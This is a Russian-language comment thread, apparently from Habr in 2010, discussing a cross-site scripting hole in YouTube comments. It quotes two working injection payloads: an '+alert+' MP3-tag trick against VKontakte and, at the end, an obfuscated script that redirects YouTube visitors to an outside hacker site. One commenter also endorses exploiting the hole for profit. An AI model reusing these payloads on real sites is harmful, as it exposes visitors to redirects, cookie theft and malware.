rewiaca Jul 4 2010 at 17:10

Уязвимость комментариев на Youtube

1 min

5.4K

Cloud services*

+106

Comments 81

shinyweb Jul 4 2010 at 17:23

Самое время сменить пароли, если переходили по «инфицированным» видео и воздержаться от просмотра видео на страницах youtube.com пока уязвимость не пофиксили! Что самое страшное: в страницу вполне можно внедрить (и внедряют) Javascript код с каким-нибудь cookie-сниффером. Вот так вот, одна ошибка в коде огромного портала может привести к тотальной угрозе для всех его пользователей.

UFO landed and left these words here

neuotq Jul 4 2010 at 18:20

У многих кстати это часть единого аккаунта гугла

UFO landed and left these words here

Denai Jul 4 2010 at 18:32

Почту заводят не для того чтобы там спам держать, а для каких-то личных вещей. Личное — важно.

DizzWebS Jul 4 2010 at 18:39

да не кормите тролля

naryl Jul 4 2010 at 19:21

А нефиг почту на SaaS'ах держать ;)

UFO landed and left these words here

psylostlife Jul 4 2010 at 22:57

Тобишь мне нужно завести трусы, чтобы чистеть зубы, когда я их почищу и начну умывать лицо — мне нужно надеть другие трусы, одену штаны — третьи, футболку — четвертныЕ, пойду покушать — пятые и так далее?
А если носки добавить?

psylostlife Jul 4 2010 at 22:57

Извините, *чистИть*

dioneo Jul 5 2010 at 04:27

Тобишь четвертныЕ

~~такдауШъ~~: То-бишь четвертн_ыЕ? )))

dioneo Jul 5 2010 at 04:30

описка по Фрейду ;)

UFO landed and left these words here

luckyredhot Jul 5 2010 at 06:05

товарищ приверженец мэйлру?

hulinada Jul 4 2010 at 18:35

Вот если бы это предупреждение в посте перед ссылками поставили, цены бы не было =)

egorinsk Jul 4 2010 at 21:20

Насколько я знаю, авторизация у Ютуба, как и у других сервисов Гугла, проходит только на https://google.com/account, и автоиризационные куки с ютуба не упрешь, а сессионная кука, наверно, быстро сдохнет, и теоретически мождет быть привязана к Ip адресу.

psylostlife Jul 4 2010 at 22:58

Неприятно, если через твой аккаунт зальют ЦП и заблокируют учетную запись во всех сервисах гугла.

dmitriy_b Jul 4 2010 at 22:29

Там стоит HttpOnly кука, так что пофиг.

neuotq Jul 4 2010 at 17:25

а где же ссылка на нить обсуждения? ;)
PS в массы уязвимости запустили на 4chan

UFO landed and left these words here

neuotq Jul 4 2010 at 18:17

Зачем же так грубо, а линк я дал, так как там больше примеров, следовательно яснее будет что за уязвимость, что прохдит что нет. И не надо пробовать, уже все за тебя испытали.

SilverTH Jul 4 2010 at 17:27

Ужас.

unreal Jul 4 2010 at 17:41

Наткнулся на это 5 минут назад.

infi Jul 4 2010 at 17:43

Если iframe, то это жестко.

UFO landed and left these words here

WGH Jul 4 2010 at 17:53

Ну, спереть пароли-куки-пр. через iframe нельзя.

infi Jul 4 2010 at 17:55

Зато можно поставить связку эксплоитов, а на популярных роликах трафик очень большой.

technocrat Jul 4 2010 at 18:12

в ie 6 можно было

AHDPEu Jul 4 2010 at 18:10

Троянов часто через фреймы раздают.
Есть очень много партнерок, которые покупают такой трафик.
Думаю на ютубе трафика много :)

UFO landed and left these words here

psylostlife Jul 4 2010 at 23:00

А если у меня линукс? Я не с подковыркой спрашиваю, просто интересно, чисто теоретически. Куки то оно понятно, а вот трояны пока что не для всех ведь делают?

ioccy Jul 5 2010 at 01:07

Линукс не важен.

AHDPEu Jul 5 2010 at 08:58

Ой да ладно вам :)
Ещё никто не отменял сплоиты под программмы для линукса. Тут дело даже не в ОС, а в том, какой софт вы используйте.
Если не с подковыркой, то я с удовольствием отвечаю на Ваш вопрос.
Ботнеты можно на сотовых телефонах, и на тостерах и холодильниках создать, что уж говорить про устройства где установлена никсоподобная ОС.
Руткиты существуют под многие ОС. Вполне возможно, с ростом популярности Убунты (это для примера) появятся с публичных связках сплоиты для получения рута, а там уже и троян не плохо будет себя чувствовать.
Всё дело времени :)

Nesp Jul 4 2010 at 17:54

YouTube status:
[ ] Told
[x] FUCKING TOLD

kse_ru Jul 4 2010 at 19:01

sup /g/

Nesp Jul 4 2010 at 19:20

>implying i'm from 4chan

EvgeniyLazarev Jul 4 2010 at 17:57

Люди ошибаются.

psylostlife Jul 4 2010 at 23:00

Все люди ошибаются.
Все что сделано — можно сломать.
Чем проще — тем сложнее.
Первое, что пришло в голову)

UFO landed and left these words here

Alucard Jul 4 2010 at 18:00

«Комментарии к этому видео скрыты в соответствии с настройками безопасного режима. Показать скрытые комментарии „
Оперативно видимо работают.

Lenyarun Jul 4 2010 at 18:04

пофиксили

rewiaca Jul 4 2010 at 18:10

не пофиксили. Просто скрыли комментарии

kljaver Jul 4 2010 at 18:40

У меня никаких надписей красным нет. Камменты с кодом видны. :)

tundrik Jul 4 2010 at 18:43

Красных надписей _уже_ никто не видит

kljaver Jul 4 2010 at 18:47

Ясно.

bizikov Jul 4 2010 at 18:09

ютубовци оперативный народ!

azproduction Jul 4 2010 at 18:12

Просто кто-то из работников Google читает хабр или двач :)

bizikov Jul 4 2010 at 18:16

полюбому хДД

psylostlife Jul 4 2010 at 23:01

Наверное, им кто-то просто сообщил в техподдержку. И я считаю, что она у них круглосуточна :)
КО?

bizikov Jul 4 2010 at 23:23

а че такое двач? мой коммент из за этого заминусовали? м

AHDPEu Jul 4 2010 at 18:16

да на многих крупных проектах есть XSS уязвимости.
Для примера, не очень опасный xss, Вконтакте — загрузка аудиофайлов.
Если в свойствах мп3 в поле «Исполнитель» вписать '+alert+' и загрузить — выскочит алерт.

Hint Jul 4 2010 at 18:19

Может кто-нибудь объяснить, почему это возможно? Разве YouTube позволяет вставлять в комментарии какие-либо теги (bb или html)? Если нет, то почему они просто не заменяет все html символы на спец. коды?

NZeraF Jul 4 2010 at 18:22

гугл его знает.

rednaxi Jul 4 2010 at 18:26

Видимо вся соль в IF_HTML_FUNCTION?
Каким то образом ломается вырезалка html

barmaley_exe Jul 4 2010 at 20:33

Если заменять знаки <> на их HTML сущности, то ничего вырезать не надо. Не понимаю, почему зачастую предпочитают вырезать теги.

rednaxi Jul 4 2010 at 20:35

чтобы оставить чистый текст, очевидно.

rednaxi Jul 4 2010 at 21:37

Чего за минуса? :)

Это же очевиндо зачем вырезают html-сущности в тех местах, где их нельзя использовать.

Если человек напишет какой нибудь комментарий и использует в нем всякие и еще 100500 тегов, обычному человеку такой текст прочитать в мешанине тегов если просто заменить < и > на < &gt будет сложно.

Если же вырезать html-сущености совсем то останется прсто чистый неформатированный текст, который будет удобен для чтения

barmaley_exe Jul 4 2010 at 21:43

Посмотрим со стороны пользователя:
Я хочу видеть свое сообщение так, как я его написал. Почему мне не дают писать сообщения так, как я хочу? Безопасность безопасностью, а палки в колеса пользователю вставлять не надо.
Если в комментарии стопицот тегов, то зачем его читать? Если бы автор сообщения хотел донести свою мысль, он бы не стал «обфусцировать» свой коммент.

P.S. Минусовал не я.

rednaxi Jul 4 2010 at 21:57

ну там где нельзя использовать html обычно прямо пишут что там нельзя использовать html и => весь html вырезается.

Мне кажется это нормально. Если есть желание вставить какой-то html-код в сообщение, то для этого есть специальные теги

<pre>

barmaley_exe Jul 4 2010 at 22:50

А если я хочу написать HTML код обычным сообщением, мне что, заменять символы <> на сущности? А если и амперсанд заменяется? Если нет никакого форматирования сообщений, они должны отображаться именно так, как написаны.

menvil Jul 4 2010 at 18:34

А я бы не палил эту тему в паблик а использовал ее по максимуму для выжима бабла этой вкусной темы. И к черту этику и всякие бла-бла-бла о морали.

persei Jul 4 2010 at 18:36

А потом удивляемся =)

kastaneda Jul 4 2010 at 18:38

откуда знаете, что по максимуму уже не выжали из этой вкусной темы? )
или, возможно, эта вкусная тема лишь отвлекающий маневр от какой-нибудь другое, еще более вкусной темы

technocrat Jul 4 2010 at 18:44

Все равно бы заметили, если делать это в промышленных масштабах. На дваче уже и так за пару часов много чего успели попробовать — даже дорвейщики подключались и похоже не безуспешно для себя… А в целом легион постарался на славу )) img408.imageshack.us/img408/1415/1278252932293.png

startupper Jul 4 2010 at 18:52

Редирект работал успешно. Вот вариант кода редиректа на румынских хацкеров:

<script>Zbody onLoad=”document.write(‘<script>window.location = 
String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 
119, 119, 46, 105, 110, 115, 101, 99, 117, 114, 105, 116,
121, 46, 114, 111, 47);</script>’);”;